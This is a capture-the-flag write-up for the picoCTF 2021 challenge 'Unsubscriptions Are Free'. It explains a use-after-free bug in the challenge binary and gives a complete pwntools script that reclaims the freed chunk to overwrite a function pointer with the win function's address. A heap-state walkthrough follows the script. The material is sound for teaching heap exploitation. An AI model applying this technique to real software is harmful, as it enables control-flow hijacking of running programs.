Unsubscriptions Are Free picoCTF 2021 Solution

Published: April 2, 2026

Description

Exploit a use-after-free vulnerability. nc mercury.picoctf.net PORT

Remote

Download the binary and analyze it.

Install pwntools.

Find the port on the instance launch panel and substitute it for <PORT_FROM_INSTANCE>.

bash
wget <url>/vuln
bash
chmod +x vuln
bash
checksec vuln
bash
pip install pwntools
  1. Step 1Identify the use-after-free vulnerability
    Disassemble vuln (x86-64, little-endian). It allocates a user struct on the heap with an embedded function pointer (whatToDo). The unsubscribe path frees the struct without nulling the global pointer, leaving a dangling reference.
    bash
    objdump -d vuln | grep -A20 '<main>'
    bash
    nm vuln | grep haha   # find the win symbol hahaexploitgobrrr
    Learn more

    A use-after-free (UAF) bug occurs when the program continues to use a pointer after the memory it points to has been freed. The freed memory can be reclaimed by a subsequent allocation of the same size; whatever the new owner writes there shows through the dangling pointer. See heap exploitation for the broader playbook.

  2. Step 2Find the function-pointer fire site
    The function pointer typically fires either on a follow-up menu interaction (a 'check status' or 'unsubscribe again' option that calls user_ptr->whatToDo()) or on the free path itself before the pointer is nulled. Trace each menu choice in objdump until you spot the indirect call: call QWORD PTR [rax+0x0].
    bash
    objdump -d vuln | grep -B2 -A1 'call.*\['
  3. Step 3Reclaim the chunk, overwrite the fn pointer
    After unsubscribe(), send a message of size 8 (or whatever matches the user struct). The malloc reuses the freed chunk. Write p64(hahaexploitgobrrr) as the 8 bytes. The next call through whatToDo lands in the win function.
    python
    python3 - <<'EOF'
    from pwn import *
    
    elf = ELF('./vuln')
    win = elf.sym['hahaexploitgobrrr']
    
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    p.sendlineafter(b'>', b'S')           # subscribe: malloc(8); whatToDo set
    p.sendlineafter(b'name:', b'AAAA')
    
    p.sendlineafter(b'>', b'U')           # unsubscribe: free; pointer not nulled
    
    p.sendlineafter(b'>', b'I')           # send a message: malloc(8) reuses chunk
    p.sendlineafter(b'message:', p64(win))
    
    p.sendlineafter(b'>', b'I')           # trigger whatToDo through dangling ptr
    print(p.recvall(timeout=2).decode(errors='ignore'))
    EOF
    Learn more

    Step-by-step heap state. Both the user struct and the message buffer are 8 bytes (same tcache bin):

    (1) Subscribe:    user = malloc(8); user->whatToDo = original_handler;
                       heap: [size=0x20 | whatToDo: 0x401234]   <- user
                       user_ptr global = &user
    
    (2) Unsubscribe:  free(user);
                       heap: [size=0x20 | fd: NULL]   <- now in tcache[0x20]
                       user_ptr STILL POINTS HERE (dangling)
    
    (3) sendMessage:  msg = malloc(8); read(fd, msg, 8);   // p64(win)
                       tcache[0x20] LIFO -> returns the same chunk
                       heap: [size=0x20 | <win>]
                       user_ptr->whatToDo == win   (aliased)
    
    (4) Trigger:      user_ptr->whatToDo()
                       jumps to hahaexploitgobrrr -> flag

    Endianness. p64() emits address bytes little-endian. 0x401370 goes on the wire as \x70\x13\x40\x00\x00\x00\x00\x00. When the program later reads those 8 bytes back as a function pointer, the CPU reassembles 0x401370 and indirect-calls there.

Flag

picoCTF{...}

After free(), the memory can be reclaimed by the next malloc of the same size. Writing a function address there overwrites the struct's function pointer through the dangling reference.

Want more picoCTF 2021 writeups?

Useful tools for Binary Exploitation

Related reading

What to try next